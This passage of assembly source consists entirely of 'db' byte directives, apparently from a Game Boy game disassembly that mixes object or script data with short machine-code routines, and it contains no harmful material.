$0D db $CD, $4D, $43, $30, $03, $CD, $FD, $4E db $01, $0E, $40, $CD, $CD, $24, $B7, $C9 db $1E, $1D, $01, $E5, $48, $CD, $46, $08 db $37, $C9, $03, $FD, $40, $5D, $0D, $59 db $42, $12, $5A, $46, $19, $00, $04, $06 db $62, $46, $19, $03, $04, $0D, $62, $42 db $01, $00, $19, $10, $0C, $07, $00, $00 db $08, $00, $FF, $2A, $40, $01, $01, $03 db $74, $46, $5D, $00, $CD, $22, $46, $D8 db $CB, $7F, $C8, $1E, $1D, $01, $83, $46 db $C3, $46, $08, $0D, $77, $0F, $0D, $03 db $FD, $40, $5D, $19, $10, $02, $0D, $E6 db $22, $D5, $05, $19, $00, $20, $19, $03 db $04, $19, $04, $02, $19, $00, $02, $08 db $00, $FE, $2A, $10, $03, $B1, $46, $5D db $19, $04, $14, $19, $03, $04, $01, $01 db $00, $CD, $22, $46, $D8, $CB, $7F, $C8 db $1E, $1D, $01, $62, $41, $C3, $46, $08 db $28, $13, $C0, $5F, $45, $06, $4A, $46 db $28, $13, $40, $5F, $45, $06, $4A, $46 db $03, $FD, $40, $5D, $08, $00, $00, $0D db $59, $42, $12, $E3, $46, $19, $00, $04 db $06, $EB, $46, $19, $03, $04, $0D, $62 db $42, $01, $00, $22, $3B, $5F, $1D, $09 db $04, $19, $02, $02, $19, $14, $02, $19 db $02, $02, $19, $15, $02, $24, $22, $0A db $0F, $1C, $80, $19, $07, $08, $0D, $57 db $47, $09, $14, $0D, $62, $47, $0D, $D3 db $20, $69, $40, $0D, $15, $21, $6D, $40 db $03, $2E, $47, $5D, $19, $02, $01, $19 db $14, $01, $19, $02, $01, $19, $15, $01 db $24, $22, $0A, $06, $69, $42, $CD, $E6 db $1E, $CD, $A4, $0D, $01, $00, $40, $CD db $3C, $23, $38, $13, $CD, $4D, $43, $D0 db $CD, $04, $4F, $62, $2E, $1F, $36, $5D db $2C, $36, $47, $2C, $36, $31, $C9, $1E db $1D, $01, $E5, $48, $C3, $46, $08, $21 db $9C, $40, $1E, $41, $7D, $12, $1C, $7C db $12, $C9, $C5, $1E, $41, $1A, $6F, $1C db $1A, $67, $2A, $47, $7C, $12, $1D, $7D db $12, $78, $C6, $06, $1E, $D5, $CD, $19 db $23, $C1, $C9, $03, $FD, $40, $5D, $0D db $59, $42, $12, $8B, $47, $19, $00, $04 db $06, $93, $47, $19, $03, $04, $0D, $62 db $42, $01, $00, $19, $00, $04, $18, $29 db $00, $2A, $F8, $03, $63, $48, $5D, $09 db $06, $19, $02, $02, $0D, $E6, $22, $D5 db $0F, $19, $14, $02, $19, $02, $02, $19 db $15, $02, $24, $22, $0A, $2A, $00, $09 db $02, $19, $02, $02, $0D, $E6, $22, $D5 db $0F, $19, $14, $02, $19, $02, $02, $19 db $15, $02, $24, $22, $0A, $2A, $18, $09 db $02, $19, $02, $02, $0D, $E6, $22, $D5 db $0F, $19, $14, $02, $19, $02, $02, $19 db $15, $02, $24, $22, $0A, $18, $2A, $00 db $03, $FD, $40, $5D, $09, $03, $19, $02 db $02, $0D, $E6, $22, $D5, $0F, $19, $14 db $02, $19, $02, $02, $19, $15, $02, $24 db $22, $0A, $10, $5C, $12, $1A, $48, $19 db $02, $02, $0D, $E6, $22, $D5, $0F, $19 db $14, $02, $19, $02, $02, $19, $15, $02 db $24, $22, $0D, $32, $10, $0C, $03, $63 db $48, $5D, $09, $02, $19, $02, $02, $0D db $E6, $22, $D5, $0F, $19, $14, $02, $19 db $02, $02, $19, $15, $02, $24, $22, $0A db $29, $00, $03, $8F, $48, $5D, $09, $0C db $19, $02, $02, $0D, $E6, $22, $D5, $0F db $19, $14, $02, $19, $02, $02, $19, $15 db $02, $24, $22, $0A, $07, $00, $00, $0D db $5F, $20, $6F, $40, $01, $03, $03, $BE db $48, $5D, $00, $CD, $E6, $1E, $CD, $D3 db $1E, $CD, $A4, $0D, $01, $00, $40, $CD db $3C, $23, $38, $13, $CD, $4D, $43, $D0 db $CD, $04, $4F, $62, $2E, $1F, $36, $5D db $2C, $36, $48, $2C, $36, $66, $C9, $1E db $1D, $01, $E5, $48, $C3, $46, $08, $CD db $A4, $0D, $01, $00, $40, $CD, $3C, $23 db $38, $1C, $CD, $3D, $20, $1E, $0E, $1A db $38, $0F, $07, $30, $04, $CD, $4D, $43 db $D0, $1E, $1D, $01, $54, $48, $C3, $46 db $08, $07, $38, $F5, $18, $EF, $1E, $1D db $01, $E5, $48, $C3, $46, $08, $01, $00 db $40, $CD, $3C, $23, $38, $17, $CD, $EB db $21, $CD, $A4, $0D, $01, $0E, $40, $CD db $CD, $24, $CB, $7F, $C8, $1E, $1D, $01 db $8A, $45, $C3, $46, $08, $1E, $1D, $01 db $E5, $48, $C3, $46, $08, $0F, $41, $01 db $03, $FD, $48, $5D, $1C, $FA, $7C, $04 db $09, $06, $19, $06, $02, $19, $05, $02 db $0A, $0F, $41, $00, $00, $CD, $23, $23 db $C0, $1E, $4C, $1A, $FE, $1F, $D0, $3E db $01, $1E, $5C, $12, $C9, $0D, $18, $49 db $1C, $85, $47, $03, $0D, $67, $23, $16 db $21, $E4, $4C, $3E, $03, $CD, $CF, $05 db $C9, $17, $FF, $0D, $0F, $61, $00, $0F db $4C, $01, $04, $02, $70, $0D, $0D, $F9 db $1F, $0D, $0F, $20, $08, $08, $08, $10 db $5B, $0E, $10, $5C, $49, $25, $4A, $5A db $4A, $87, $4A, $E0, $4A, $E6, $4A, $40 db $4B, $40, $4B, $40, $4B, $40, $4B, $90 db $4B, $B3, $4B, $B7, $4B, $DD, $4B, $E3 db $4B, $0E, $4C, $16, $0D, $F5, $49, $F8 db $0D, $E6, $22, $D5, $01, $0D, $E6, $22 db $D5, $02, $0F, $4B, $00, $0F, $4A, $05 db $0D, $0F, $20, $04, $07, $37, $03, $B5 db $49, $5D, $08, $40, $02, $19, $0C, $04 db $08, $40, $00, $2A, $F0, $05, $08, $08 db $00, $00, $2A, $00, $1F, $15, $4A, $07 db $00, $01, $05, $01, $09, $02, $07, $00 db $FF, $05, $02, $07, $00, $01, $05, $02 db $0A, $07, $00, $FF, $05, $01, $07, $00 db $00, $24, $47, $03, $C1, $49, $5D, $0D db $5F, $20, $99, $40, $00, $CD, $D3, $1E db $CD, $A4, $0D, $01, $72, $40, $C3, $5B db $25, $CD, $EB, $21, $CD, $A4, $0D, $01 db $72, $40, $CD, $5B, $25, $D8, $01, $8E db $40, $CD, $CD, $24, $CB, $7F, $C8, $3E db $03, $1E, $D5, $CD, $19, $23, $3E, $04 db $1E, $D5, $CD, $19, $23, $1E, $2E, $21 db $99, $42, $3E, $1E, $CD, $CF, $05, $F0 db $9A, $67, $C3, $BA, $0B, $26, $A0, $2E db $04, $5D, $2A, $12, $1C, $7E, $12, $0A db $03, $C5, $4F, $17, $9F, $47, $1E, $07 db $21, $53, $DB, $79, $86, $12, $1C, $23 db $78, $8E, $12, $C1, $C9, $21, $96, $40 db $1E, $5B, $1A, $85, $6F, $30, $01, $24 db $1E, $24, $7E, $12, $C9, $0D, $2E, $4A db $0D, $36, $4A, $06, $6A, $49, $1E, $48 db $1A, $67, $6B, $7E, $12, $C9, $CD, $47 db $06, $E6, $08, $C6, $18, $E0, $80, $1E db $04, $1A, $21, $51, $DB, $96, $FE, $20 db $F0, $80, $1E, $04, $38, $05, $6F, $1A db $95, $12, $C9, $C6, $20, $6F, $1A, $85 db $12, $C9, $0D, $2E, $4A, $0D, $63, $4A db $06, $6A, $49, $CD, $47, $06, $E6, $08 db $C6, $18, $E0, $80, $1E, $04, $1A, $21 db $51, $DB, $96, $FE, $80, $F0, $80, $1E db $04, $30, $05, $6F, $1A, $85, $12, $C9 db $C6, $20, $6F, $1A, $95, $12, $C9, $0D db $2E, $4A, $0D, $D1, $1F, $04, $04, $26 db $60, $00, $22, $3B, $5F, $1D, $03, $A8 db $4A, $5D, $0D, $0F, $20, $04, $04, $BF db $08, $80, $FE, $2A, $18, $01, $0D, $00 db $CD, $D3, $1E, $CD, $A4, $0D, $01, $72 db $40, $CD, $5B, $25, $D8, $01, $92, $40 db $CD, $CD, $24, $CB, $7F, $C8, $1E, $1D db $01, $C6, $4A, $C3, $46, $08, $26, $40 db $00, $08, $00, $00, $22, $3B, $5F, $1D db $03, $D7, $4A, $5D, $05, $20, $16, $CD db $A4, $0D, $01, $72, $40, $C3, $5B, $25 db $0D, $62, $42, $06, $87, $4A, $0F, $4B db $00, $0F, $4A, $05, $0F, $60, $3F, $0D db $D1, $1F, $18, $07, $03, $26, $4B, $5D db $19, $0E, $08, $19, $0F, $02, $19, $0E db $02, $19, $0F, $18, $03, $2C, $4B, $5D db $26, $00, $03, $0D, $32, $10, $F8, $0F db $26, $50, $24, $0C, $0D, $E6, $22, $D5 db $0A, $09, $04, $0D, $E6, $22, $D5, $0B db $05, $02, $0A, $06, $14, $4B, $01, $72 db $40, $C3, $5B, $25, $1E, $26, $1A, $B7 db $28, $05, $3D, $12, $CD, $E6, $1E, $CD db $A4, $0D, $01, $72, $40, $C3, $5B, $25 db $24, $1C, $0D, $0F, $20, $04, $04, $BF db $0D, $D1, $1F, $0C, $FE, $0D, $76, $4B db $03, $67, $4B, $5D, $19, $08, $02, $19 db $09, $02, $19, $0A, $02, $19, $0B, $02 db $19, $0A, $02, $19, $09, $02, $16, $CD db $E6, $1E, $CD, $D3, $1E, $CD, $A4, $0D db $01, $80, $40, $C3, $5B, $25, $21, $B0 db $40, $1E, $5B, $1A, $D6, $06, $07, $5F db $07, $83, $85, $6F, $30, $01, $24, $CD db $F9, $20, $CD, $23, $21, $C3, $BE, $20 db $03, $AD, $4B, $5D, $0D, $D1, $1F, $08 db $08, $08, $C0, $FD, $2A, $20, $26, $A0 db $00, $19, $0D, $0B, $0D, $62, $42, $05 db $09, $16, $CD, $E6, $1E, $CD, $D3, $1E db $C3, $A4, $0D, $1B, $B1, $58, $04, $04 db $52, $6F, $0B, $0F, $46, $00, $0D, $D1 db $1F, $0B, $12, $26, $40, $01, $0D, $32 db $10, $F0, $08, $C0, $FD, $2A, $10, $03 db $AA, $4B, $5D, $19, $04, $04, $19, $05 db $02, $19, $04, $08, $16, $0D, $62, $42 db $06, $B7, $4B, $24, $22, $0D, $62, $42 db $04, $52, $6F, $0B, $0F, $46, $00, $0D db $D1, $1F, $10, $0E, $26, $00, $01, $0D db $32, $10, $F0, $08, $00, $00, $2A, $D8 db $03, $AA, $4B, $5D, $19, $04, $02, $19 db $05, $04, $19, $04, $03, $16, $0D, $D1 db $1F, $F0, $0C, $08, $00, $02, $26, $00 db $FF, $04, $52, $6F, $0B, $0F, $46, $00 db $03, $17, $73, $44, $19, $FF, $10, $16 db $FF, $02, $00, $00, $00, $2B, $5B, $1D db $00, $00, $00, $2B, $5B, $1D, $F0, $0E db $F6, $09, $00, $01, $04, $02, $03, $01 db $00, $03, $02, $00, $01, $FF, $0A, $4F db $4C, $55, $4C, $5D, $4C, $66, $4C, $03 db $01, $05, $08, $09, $FF, $02, $06, $07 db $04, $05, $02, $0E, $FF, $02, $0A, $02 db $0B, $02, $0C, $07, $0D, $FF, $02, $0E db $07, $03, $02, $0D, $08, $FF, $C0, $80 db $20, $00, $03, $30, $00, $03, $80, $FD db $20, $80, $FE, $18, $80, $00, $40, $00 db $40, $00, $FC, $20, $00, $FE, $8E, $4C db $97, $4C, $9F, $4C, $A7, $4C, $01, $00 db $02, $00, $03, $04, $00, $04, $FF, $02 db $00, $04, $00, $03, $00, $05, $FF, $01 db $02, $05, $03, $04, $05, $05, $FF, $01 db $05, $05, $02, $04, $05, $FF, $FF, $02 db $9B, $4D, $03, $33, $4E, $03, $00, $00 db $00, $2A, $4F, $03, $FF, $12, $9B, $4D db $03, $33, $4E, $03, $00, $00, $00, $2A db $4F, $03, $FF, $12, $00, $00, $00, $4E db $43, $05, $00, $00, $00, $2A, $4F, $03 db $FC, $03, $FC, $03, $1C, $F0, $A8, $60 db $01, $20, $F4, $A4, $00, $01, $20, $00 db $A0, $00, $00, $20, $0C, $A4, $00, $FF db $20, $10, $A8, $A0, $FE, $EB, $EC, $02 db $02, $F5, $E8, $02, $03, $00, $00, $02 db $02, $12, $0C, $02, $02, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $12, $0F, $02, $02, $19, $07, $02 db $02, $19, $FA, $02, $02, $12, $ED, $03 db $03, $06, $E5, $04, $04, $F9, $E5, $03 db $04, $10, $00, $02, $00, $FF, $10, $10 db $00, $0D, $C7, $10, $0D, $17, $F6, $0D db $0F, $44, $FF, $0D, $E0, $35, $78, $00 db $61, $00, $0D, $A7, $4D, $0D, $0F, $20 db $06, $10, $3F, $0F, $61, $00, $0D, $5F db $22, $0D, $72, $22, $27, $0B, $4E, $4E db $0F, $60, $2D, $0D, $B2, $4D, $0D, $BD db $4D, $27, $0D, $12, $4E, $12, $BA, $55 db $0D, $FC, $4D, $0E, $10, $26, $4E, $48 db $4E, $7F, $4E, $87, $4E, $43, $4F, $36 db $50, $16, $51, $37, $52, $72, $55, $82 db $55, $8E, $55, $96, $55, $9E, $55, $A6 db $55, $DB, $54, $AE, $55, $06, $66, $4D db $01, $28, $4C, $CD, $1B, $25, $D0, $1E db $1D, $01, $DA, $5A, $C3, $46, $08, $AF db $EA, $12, $DD, $1E, $4C, $1A, $EA, $13 db $DD, $C9, $21, $3A, $4C, $1E, $3D, $7D db $12, $1C, $7C, $12, $C9, $1E, $3D, $1A db $6F, $1C, $1A, $67, $2A, $FE, $04, $20 db $09, $FA, $12, $DD, $CB, $C7, $EA, $12 db $DD, $2A, $FE, $FF, $20, $0A, $2A, $2F db $3C, $85, $6F, $3E, $FF, $8C, $67, $2A db $E0, $80, $1E, $3D, $7D, $12, $1C, $7C db $12, $F0, $80, $07, $21, $47, $4C, $85 db $6F, $30, $01, $24, $1E, $3F, $2A, $12 db $1C, $7E, $12, $C9, $1E, $3F, $1A, $6F db $1C, $1A, $67, $2A, $1E, $27, $12, $FE db $FF, $C8, $1E, $3F, $7D, $12, $1C, $7C db $12, $C9, $21, $12, $DD, $CB, $46, $28 db $08, $CB, $4E, $28, $04, $3E, $01, $18 db $01, $AF, $1E, $27, $12, $C9, $03, $98 db $4D, $5D, $19, $00, $18, $28, $13, $80 db $69, $4D, $19, $01, $28, $28, $13, $C0 db $69, $4D, $19, $00, $18, $28, $13, $C0 db $69, $4D, $19, $01, $28, $06, $69, $4D db $0B, $4E, $4E, $06, $69, $4D, $03, $98 db $4D, $5D, $09, $02, $19, $00, $18, $0D db $E6, $22, $D7, $00, $19, $01, $28, $0A db $19, $00, $18, $19, $01, $0C, $19, $07 db $10, $09, $03, $19, $07, $04, $19, $0F db $04, $0A, $19, $01, $08, $19, $00, $08 db $19, $01, $08, $19, $00, $18, $0C, $28 db $13, $80, $26, $4E, $06, $48, $4E, $0F db $41, $04, $03, $B6, $4E, $5D, $0B, $9A db $4E, $0D, $20, $4F, $11, $8A, $4E, $06 db $69, $4D, $26, $40, $01, $29, $00, $08 db $80, $FF, $2A, $08, $19, $02, $10, $0D db $32, $10, $EC, $19, $03, $10, $07, $00 db $00, $29, $00, $05, $02, $0C, $CD, $E6 db $1E, $01, $28, $4C, $CD, $1B, $25, $38 db $34, $CD, $D3, $1E, $CD, $A4, $0D, $01 db $36, $4C, $CD, $CD, $24, $CB, $7F, $20 db $18, $CD, $0B, $4F, $D0, $CD, $FD, $4E db $1E, $41, $3E, $01, $12, $62, $2E, $1F db $36, $5D, $2C, $36, $4E, $2C, $36, $B9 db $C9, $62, $2E, $1F, $36, $5D, $2C, $36 db $4D, $2C, $36, $98, $C9, $1E, $1D, $01 db $DA, $5A, $C3, $46, $08, $AF, $1E, $0D db $12, $1C, $12, $C9, $CD, $FD, $4E, $1E db $11, $12, $C9, $1E, $0E, $1A, $07, $21 db $51, $DB, $1E, $04, $1A, $38, $05, $96 db $FE, $97, $3F, $C9, $96, $FE, $09, $C9 db $1E, $41, $1A, $3D, $28, $19, $12, $FE db $03, $30, $0F, $21, $6E, $4C, $3D, $85 db $6F, $30, $01, $24, $CD, $47, $06, $BE db $38, $05, $AF, $1E, $27, $12, $C9, $3E db $01, $18, $F8, $03, $98, $4D, $5D, $19 db $00, $10, $19, $0E, $10, $24, $17, $0D db $B8, $4F, $40, $11, $5C, $4F, $26, $B8 db $00, $06, $5F, $4F, $26, $68, $01, $01 db $0D, $08, $00, $FD, $2A, $10, $29, $00 db $03, $6D, $4F, $5D, $00, $01, $28, $4C db $CD, $1B, $25, $38, $3B, $CD, $D3, $1E db $CD, $A4, $0D, $CD, $0B, $4F, $30, $03 db $CD, $FD, $4E, $62, $2E, $0F, $2A, $B6 db $C0, $CD, $3D, $20, $1E, $45, $1A, $30 db $14, $07, $38, $14, $1E, $04, $06, $10 db $CD, $9C, $1F, $38, $0B, $1E, $1D, $01 db $D6, $4F, $C3, $46, $08, $07, $38, $EC db $1E, $1D, $01, $CD, $4F, $C3, $46, $08 db $1E, $1D, $01, $DA, $5A, $C3, $46, $08 db $0A, $03, $C5, $1E, $04, $47, $CD, $9C db $1F, $38, $06, $AF, $1E, $27, $12, $C1 db $C9, $3E, $01, $18, $F7, $03, $98, $4D db $5D, $07, $00, $00, $05, $0C, $03, $E0 db $4F, $5D, $0D, $5F, $20, $70, $4C, $00 db $CD, $EF, $4F, $D8, $CB, $7F, $C8, $1E db $1D, $01, $17, $50, $C3, $46, $08, $01 db $28, $4C, $CD, $1B, $25, $38, $16, $CD db $EB, $21, $CD, $A4, $0D, $CD, $0B, $4F db $30, $03, $CD, $FD, $4E, $01, $36, $4C db $CD, $CD, $24, $B7, $C9, $1E, $1D, $01 db $DA, $5A, $CD, $46, $08, $E1, $C9, $0D db $77, $0F, $0E, $0D, $E6, $22, $D7, $01 db $0D, $E6, $22, $D7, $02, $03, $98, $4D db $5D, $19, $0E, $10, $19, $0D, $04, $27 db $19, $00, $20, $06, $69, $4D, $0F, $41 db $00, $0D, $B8, $4F, $40, $12, $A7, $50 db $27, $03, $4B, $50, $5D, $0B, $9A, $4E db $06, $39, $50, $CD, $57, $50, $D8, $1E db $1D, $01, $A7, $50, $C3, $46, $08, $01 db $28, $4C, $CD, $1B, $25, $38, $3E, $1E db $41, $1A, $B7, $20, $03, $CD, $E6, $1E db $CD, $D3, $1E, $CD, $A4, $0D, $01, $36 db $4C, $CD, $CD, $24, $CB, $7F, $20, $0E db $CD, $0B, $4F, $30, $1E, $CD, $04, $4F db $62, $2E, $41, $34, $37, $C9, $1E, $41 db $1A, $B7, $20, $0D, $62, $2E, $1F, $36 db $5D, $2C, $36, $4D, $2C, $36, $98, $37 db $C9, $B7, $C9, $3F, $C9, $1E, $1D, $01 db $DA, $5A, $CD, $46, $08, $E1, $C9, $26 db $00, $01, $08, $80, $FD, $2A, $28, $29 db $00, $22, $DA, $50, $1D, $03, $E4, $50 db $5D, $05, $20, $0D, $77, $0F, $0D, $0D db $E6, $22, $D7, $03, $08, $00, $00, $2A db $00, $0D, $32, $10, $FA, $09, $04, $0D db $E6, $22, $D7, $04, $05, $08, $0A, $06 db $69, $4D, $19, $02, $08, $19, $03, $0A db $19, $04, $30, $00, $CD, $E6, $1E, $01 db $28, $4C, $CD, $1B, $25, $38, $1F, $CD db $D3, $1E, $CD, $A4, $0D, $CD, $0B, $4F db $30, $0E, $CD, $FD, $4E, $62, $2E, $1F db $36, $5D, $2C, $36, $50, $2C, $36, $E7 db $01, $36, $4C, $C3, $CD, $24, $1E, $1D db $01, $DA, $5A, $C3, $46, $08, $0F, $41 db $00, $0D, $B8, $4F, $28, $12, $37, $51 db $27, $03, $2B, $51, $5D, $0B, $9A, $4E db $06, $19, $51, $CD, $57, $50, $D8, $1E db $1D, $01, $37, $51, $C3, $46, $08, $27 db $03, $77, $51, $5D, $19, $00, $08, $19 db $01, $08, $0D, $BA, $22, $D7, $15, $24 db $18, $22, $6D, $51, $1D, $09, $28, $19 db $07, $02, $19, $0F, $02, $0A, $0D, $86 db $51, $12, $96, $51, $0D, $CE, $54, $24 db $FF, $0F, $1C, $80, $19, $01, $10, $19 db $00, $08, $06, $69, $4D, $0D, $E6, $22 db $D7, $05, $05, $08, $06, $6D, $51, $01 db $28, $4C, $CD, $1B, $25, $D0, $1E, $1D db $01, $DA, $5A, $C3, $46, $08, $21, $12 db $DD, $CB, $56, $20, $03, $AF, $18, $02 db $3E, $01, $1E, $27, $12, $C9, $22, $6D db $51, $1D, $19, $07, $02, $19, $0F, $02 db $06, $9A, $51, $0D, $12, $4E, $11, $AD db $51, $22, $91, $56, $1D, $0D, $1C, $52 db $24, $FF, $19, $05, $04, $19, $06, $20 db $0D, $22, $52, $24, $1B, $0D, $F8, $51 db $26, $00, $FE, $0D, $32, $10, $20, $08 db $00, $00, $03, $E3, $51, $5D, $19, $0F db $2C, $19, $01, $10, $0F, $60, $2D, $0F db $61, $00, $0D, $12, $4E, $12, $C9, $55 db $06, $69, $4D, $CD, $E6, $1E, $CD, $A4 db $0D, $62, $2E, $0D, $2A, $B6, $CC, $04 db $4F, $CD, $0B, $4F, $D0, $C3, $04, $4F db $C5, $1E, $01, $01, $44, $55, $CD, $3A db $0C, $3E, $80, $EA, $54, $A0, $2E, $04 db $5D, $1A, $C6, $04, $22, $1C, $1A, $CE db $00, $77, $2E, $07, $5D, $1A, $22, $1C db $1A, $77, $C1, $C9, $21, $12, $DD, $CB db $96, $C9, $1E, $04, $21, $51, $DB, $1A db $96, $FE, $50, $38, $04, $3E, $C0, $18 db $02, $3E, $40, $1E, $45, $12, $C9, $0B db $50, $52, $10, $4C, $13, $3D, $48, $52 db $28, $13, $C0, $8E, $52, $06, $5C, $53 db $28, $13, $C0, $5C, $53, $06, $8E, $52 db $0D, $BA, $22, $D7, $06, $03, $98, $4D db $5D, $19, $00, $10, $03, $78, $52, $5D db $07, $00, $00, $08, $00, $FF, $2A, $10 db $19, $03, $10, $19, $09, $04, $19, $08 db $0C, $03, $98, $4D, $5D, $05, $10, $0C db $01, $28, $4C, $CD, $1B, $25, $38, $06 db $CD, $D3, $1E, $C3, $A4, $0D, $1E, $1D db $01, $DA, $5A, $C3, $46, $08, $0F, $41 db $00, $0F, $26, $03, $0D, $B8, $4F, $30 db $12, $DB, $52, $27, $03, $CA, $52, $5D db $0B, $AE, $52, $0D, $D6, $52, $10, $26 db $11, $DB, $52, $06, $94, $52, $26, $40 db $01, $29, $00, $08, $80, $FF, $2A, $08 db $19, $08, $10, $0D, $32, $10, $EC, $19 db $09, $10, $07, $00, $00, $29, $00, $05 db $02, $0C, $CD, $57, $50, $D8, $1E, $1D db $01, $DB, $52, $C3, $46, $08, $62, $2E db $26, $35, $C9, $0D, $F8, $44, $50, $11 db $33, $54, $03, $98, $4D, $5D, $19, $09 db $04, $19, $08, $10, $24, $46, $19, $16 db $01, $19, $15, $01, $19, $14, $01, $19 db $13, $01, $19, $12, $01, $0D, $77, $0F db $0E, $0D, $E6, $22, $D7, $07, $19, $0B db $02, $19, $11, $02, $19, $0B, $02, $19 db $11, $02, $07, $00, $00, $08, $00, $FE db $2A, $20, $03, $40, $53, $5D, $19, $12 db $01, $19, $13, $01, $19, $14, $01, $19 db $15, $01, $19, $16, $01, $19, $09, $0B db $0D, $CE, $54, $19, $03, $10, $03, $98 db $4D, $5D, $19, $00, $10, $06, $69, $4D db $01, $28, $4C, $CD, $1B, $25, $38, $0C db $CD, $D3, $1E, $CD, $A4, $0D, $01, $36 db $4C, $C3, $CD, $24, $1E, $1D, $01, $DA db $5A, $C3, $46, $08, $0F, $41, $00, $0F db $26, $03, $0D, $B8, $4F, $38, $12, $88 db $53, $27, $03, $7C, $53, $5D, $0B, $AE db $52, $0D, $D6, $52, $10, $26, $11, $88 db $53, $06, $62, $53, $CD, $57, $50, $D8 db $1E, $1D, $01, $88, $53, $C3, $46, $08 db $0D, $F8, $44, $50, $11, $33, $54, $18 db $29, $00, $03, $1E, $54, $5D, $19, $09 db $04, $19, $08, $10, $26, $C0, $00, $24 db $46, $19, $16, $01, $19, $15, $01, $19 db $14, $01, $19, $13, $01, $0D, $32, $10 db $E0, $19, $12, $01, $03, $98, $4D, $5D db $0D, $77, $0F, $0D, $0D, $E6, $22, $D7 db $07, $19, $0B, $02, $19, $11, $02, $19 db $0B, $02, $19, $11, $02, $03, $1E, $54 db $5D, $19, $12, $01, $19, $13, $01, $19 db $14, $01, $26, $C0, $00, $24, $46, $19 db $15, $04, $0D, $32, $10, $E0, $19, $14 db $01, $19, $13, $01, $19, $12, $01, $03 db $98, $4D, $5D, $0D, $77, $0F, $0D, $19 db $0B, $02, $19, $11, $02, $19, $0B, $02 db $19, $11, $02, $19, $12, $01, $19, $13 db $01, $19, $14, $01, $19, $15, $04, $19 db $09, $04, $0D, $CE, $54, $19, $03, $08 db $19, $00, $10, $06, $69, $4D, $CD, $E6 db $1E, $CD, $A4, $0D, $01, $28, $4C, $CD db $1B, $25, $D0, $1E, $1D, $01, $DA, $5A db $C3, $46, $08, $24, $17, $07, $00, $00 db $08, $00, $FD, $2A, $10, $03, $40, $53 db $5D, $19, $09, $30, $03, $98, $4D, $5D db $19, $08, $08, $03, $63, $54, $5D, $24 db $46, $19, $16, $01, $19, $15, $01, $19 db $14, $01, $19, $13, $01, $19, $12, $01 db $01, $11, $00, $01, $28, $4C, $CD, $1B db $25, $38, $17, $CD, $D3, $1E, $CD, $A4 db $0D, $01, $36, $4C, $CD, $CD, $24, $CB db $7F, $C8, $1E, $1D, $01, $8A, $54, $C3 db $46, $08, $1E, $1D, $01, $DA, $5A, $C3 db $46, $08, $03, $98, $4D, $5D, $0D, $77 db $0F, $0E, $0D, $E6, $22, $D7, $07, $09 db $04, $19, $0B, $02, $19, $11, $02, $0A db $07, $00, $00, $08, $00, $FE, $2A, $20 db $03, $40, $53, $5D, $19, $12, $01, $19 db $13, $01, $19, $14, $01, $19, $15, $01 db $19, $16, $01, $19, $09, $0B, $0D, $CE db $54, $19, $03, $10, $03, $98, $4D, $5D db $19, $00, $10, $06, $69, $4D, $C5, $1E db $48, $1A, $67, $CD, $BA, $0B, $F0, $9A db $57, $C1, $C9, $0B, $50, $52, $0D, $F8 db $44, $50, $11, $04, $55, $19, $09, $08 db $19, $08, $30, $19, $09, $02, $0D, $CE db $54, $0D, $E6, $22, $D7, $08, $24, $5C db $19, $02, $20, $19, $03, $04, $19, $00 db $10, $06, $69, $4D, $24, $17, $03, $3F db $55, $5D, $08, $C0, $FD, $2A, $10, $19 db $09, $24, $03, $98, $4D, $5D, $19, $08 db $20, $03, $3F, $55, $5D, $19, $09, $02 db $19, $16, $01, $19, $15, $01, $19, $14 db $01, $19, $13, $01, $19, $12, $01, $0D db $CE, $54, $0D, $E6, $22, $D7, $09, $24 db $5C, $19, $02, $08, $01, $03, $00, $01 db $28, $4C, $CD, $1B, $25, $38, $17, $CD db $D3, $1E, $CD, $A4, $0D, $01, $36, $4C db $CD, $CD, $24, $CB, $7F, $C8, $1E, $1D db $01, $66, $55, $C3, $46, $08, $1E, $1D db $01, $DA, $5A, $C3, $46, $08, $24, $22 db $03, $98, $4D, $5D, $19, $00, $18, $06 db $69, $4D, $28, $13, $40, $43, $4F, $13 db $80, $36, $50, $13, $C0, $16, $51, $06 db $37, $52, $28, $13, $60, $87, $4E, $13 db $E0, $43, $4F, $06, $37, $52, $28, $13 db $A0, $43, $4F, $06, $36, $50, $28, $13 db $A0, $16, $51, $06, $37, $52, $28, $13 db $A0, $36, $50, $06, $43, $4F, $28, $13 db $A0, $37, $52, $06, $16, $51, $28, $13 db $40, $37, $52, $13, $C0, $DB, $54, $06 db $43, $4F, $24, $0C, $22, $3B, $5F, $1D db $0B, $1F, $56, $0B, $66, $56, $0D, $E7 db $55, $27, $0D, $04, $56, $0E, $06, $79 db $56, $BC, $56, $F4, $56, $3B, $58, $24 db $59, $CA, $5A, $0F, $47, $00, $0F, $1C db $80, $0D, $19, $56, $06, $70, $4D, $CD db $47, $06, $E6, $01, $6F, $1E, $5C, $1A db $3D, $07, $85, $07, $21, $86, $4C, $85 db $6F, $30, $01, $24, $2A, $5E, $21, $14 db $DD, $22, $73, $C9, $21, $14, $DD, $2A db $66, $6F, $2A, $1E, $27, $12, $FE, $FF db $C8, $7D, $5C, $21, $14, $DD, $22, $73 db $C9, $21, $12, $DD, $CB, $8E, $C9, $07 db $00, $00, $08, $00, $FF, $2A, $20, $03 db $3B, $56, $5D, $09, $02, $19, $03, $02 db $19, $07, $08, $19, $02, $04, $19, $00 db $08, $0A, $0C, $01, $28, $4C, $CD, $1B db $25, $38, $1B, $CD, $D3, $1E, $CD, $A4 db $0D, $01, $36, $4C, $CD, $CD, $24, $CB db $7F, $C8, $62, $2E, $1F, $36, $5D, $2C db $36, $4D, $2C, $36, $98, $C9, $1E, $1D db $01, $DA, $5A, $C3, $46, $08, $03, $98 db $4D, $5D, $09, $08, $0D, $E6, $22, $D7 db $0F, $19, $00, $02, $19, $01, $04, $0A db $0C, $28, $12, $87, $56, $22, $91, $56 db $1D, $0B, $1F, $56, $06, $C9, $55, $22 db $3B, $5F, $1D, $0B, $66, $56, $06, $C9 db $55, $0D, $E6, $22, $D7, $0F, $0F, $47 db $10, $05, $02, $0F, $47, $00, $05, $02 db $0F, $47, $10, $05, $02, $0D, $E6, $22 db $D7, $0F, $0F, $47, $00, $05, $02, $0F db $47, $10, $05, $02, $0F, $47, $00, $05 db $02, $06, $91, $56, $22, $91, $56, $1D db $0F, $41, $04, $03, $B6, $4E, $5D, $0B db $D3, $56, $0D, $20, $4F, $11, $C3, $56 db $06, $C9, $55, $0D, $E6, $22, $D7, $10 db $26, $00, $02, $29, $00, $08, $80, $FF db $2A, $10, $19, $02, 